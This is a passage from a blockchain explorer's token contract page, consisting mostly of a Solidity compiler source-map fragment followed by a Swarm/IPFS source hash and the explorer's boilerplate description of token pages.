:-1:-1;;;6186:50:0;;-1:-1:-1;;;;;3458:32:1;;6186:50:0;;;3440:51:1;3507:18;;;3500:34;;;3550:18;;;3543:34;;;3413:18;;6186:50:0;3238:345:1;6135:117:0;-1:-1:-1;;;;;6295:15:0;;:9;:15;;;;;;;;;;6313:19;;;;6295:37;;5990:369;-1:-1:-1;;;;;6375:16:0;;6371:213;;6437:12;:21;;;;;;;6371:213;;;-1:-1:-1;;;;;6535:13:0;;:9;:13;;;;;;;;;;:22;;;;;;6371:213;6616:2;-1:-1:-1;;;;;6601:25:0;6610:4;-1:-1:-1;;;;;6601:25:0;;6620:5;6601:25;;;;1446::1;;1434:2;1419:18;;1300:177;6601:25:0;;;;;;;;5904:730;;;:::o;7218:443::-;-1:-1:-1;;;;;7331:19:0;;7327:91;;7374:32;;-1:-1:-1;;;7374:32:0;;7403:1;7374:32;;;1238:51:1;1211:18;;7374:32:0;1066:229:1;7327:91:0;-1:-1:-1;;;;;7432:21:0;;7428:92;;7477:31;;-1:-1:-1;;;7477:31:0;;7505:1;7477:31;;;1238:51:1;1211:18;;7477:31:0;1066:229:1;7428:92:0;-1:-1:-1;;;;;7530:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;7576:78;;;;7627:7;-1:-1:-1;;;;;7611:31:0;7620:5;-1:-1:-1;;;;;7611:31:0;;7636:5;7611:31;;;;1446:25:1;;1434:2;1419:18;;1300:177;7611:31:0;;;;;;;;7218:443;;;;:::o;9272:912::-;9419:9;9397:32;;;;:21;:32;;;;;;;;9393:784;;;9446:30;9460:4;9466:2;9470:5;9446:13;:30::i;9393:784::-;9538:11;;;;9530:36;;;;-1:-1:-1;;;9530:36:0;;4017:2:1;9530:36:0;;;3999:21:1;4056:2;4036:18;;;4029:30;-1:-1:-1;;;4075:18:1;;;4068:42;4127:18;;9530:36:0;3815:336:1;9530:36:0;9601:4;;9581:10;;-1:-1:-1;;;;;9595:10:0;;;9601:4;;9595:10;9594:27;;9616:5;9594:27;;;9609:4;9594:27;9581:40;;9654:1;9640:11;:15;:29;;;;;9668:1;9660:5;:9;9640:29;:47;;;;-1:-1:-1;;;;;;9673:14:0;;;;;;:8;:14;;;;;;;;9640:47;9636:108;;;9708:34;;-1:-1:-1;;;9708:34:0;;4358:2:1;9708:34:0;;;4340:21:1;4397:2;4377:18;;;4370:30;4436:26;4416:18;;;4409:54;4480:18;;9708:34:0;4156:348:1;9636:108:0;9762:5;9758:408;;;9807:7;;9793:11;:21;9789:59;;;9817:29;;-1:-1:-1;;;9817:29:0;;4711:2:1;9817:29:0;;;4693:21:1;4750:2;4730:18;;;4723:30;-1:-1:-1;;;4769:18:1;;;4762:49;4828:18;;9817:29:0;4509:343:1;9789:59:0;9866:30;9880:4;9886:2;9890:5;9866:13;:30::i;9758:408::-;9930:5;9925:241;;9956:30;9970:4;9976:2;9980:5;9956:13;:30::i;9925:241::-;10027:4;;-1:-1:-1;;;;;10019:12:0;;;10027:4;;10019:12;;;;:26;;-1:-1:-1;10041:4:0;;-1:-1:-1;;;;;10035:10:0;;;10041:4;;10035:10;;10019:26;10015:151;;;10066:30;10080:4;10086:2;10090:5;10066:13;:30::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:254::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;859:2;844:18;;;;831:32;;-1:-1:-1;;;615:254:1:o;1482:186::-;1541:6;1594:2;1582:9;1573:7;1569:23;1565:32;1562:52;;;1610:1;1607;1600:12;1562:52;1633:29;1652:9;1633:29;:::i;:::-;1623:39;1482:186;-1:-1:-1;;;1482:186:1:o;1673:328::-;1750:6;1758;1766;1819:2;1807:9;1798:7;1794:23;1790:32;1787:52;;;1835:1;1832;1825:12;1787:52;1858:29;1877:9;1858:29;:::i;:::-;1848:39;;1906:38;1940:2;1929:9;1925:18;1906:38;:::i;:::-;1896:48;;1991:2;1980:9;1976:18;1963:32;1953:42;;1673:328;;;;;:::o;2403:180::-;2462:6;2515:2;2503:9;2494:7;2490:23;2486:32;2483:52;;;2531:1;2528;2521:12;2483:52;-1:-1:-1;2554:23:1;;2403:180;-1:-1:-1;2403:180:1:o;2588:260::-;2656:6;2664;2717:2;2705:9;2696:7;2692:23;2688:32;2685:52;;;2733:1;2730;2723:12;2685:52;2756:29;2775:9;2756:29;:::i;:::-;2746:39;;2804:38;2838:2;2827:9;2823:18;2804:38;:::i;:::-;2794:48;;2588:260;;;;;:::o;2853:380::-;2932:1;2928:12;;;;2975;;;2996:61;;3050:4;3042:6;3038:17;3028:27;;2996:61;3103:2;3095:6;3092:14;3072:18;3069:38;3066:161;;3149:10;3144:3;3140:20;3137:1;3130:31;3184:4;3181:1;3174:15;3212:4;3209:1;3202:15;3066:161;;2853:380;;;:::o;3588:222::-;3653:9;;;3674:10;;;3671:133;;;3726:10;3721:3;3717:20;3714:1;3707:31;3761:4;3758:1;3751:15;3789:4;3786:1;3779:15
Swarm Source
ipfs://5b81cdd53da19a8dbc83f1e9c208958266eef93e21573da103ee320e6090252d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.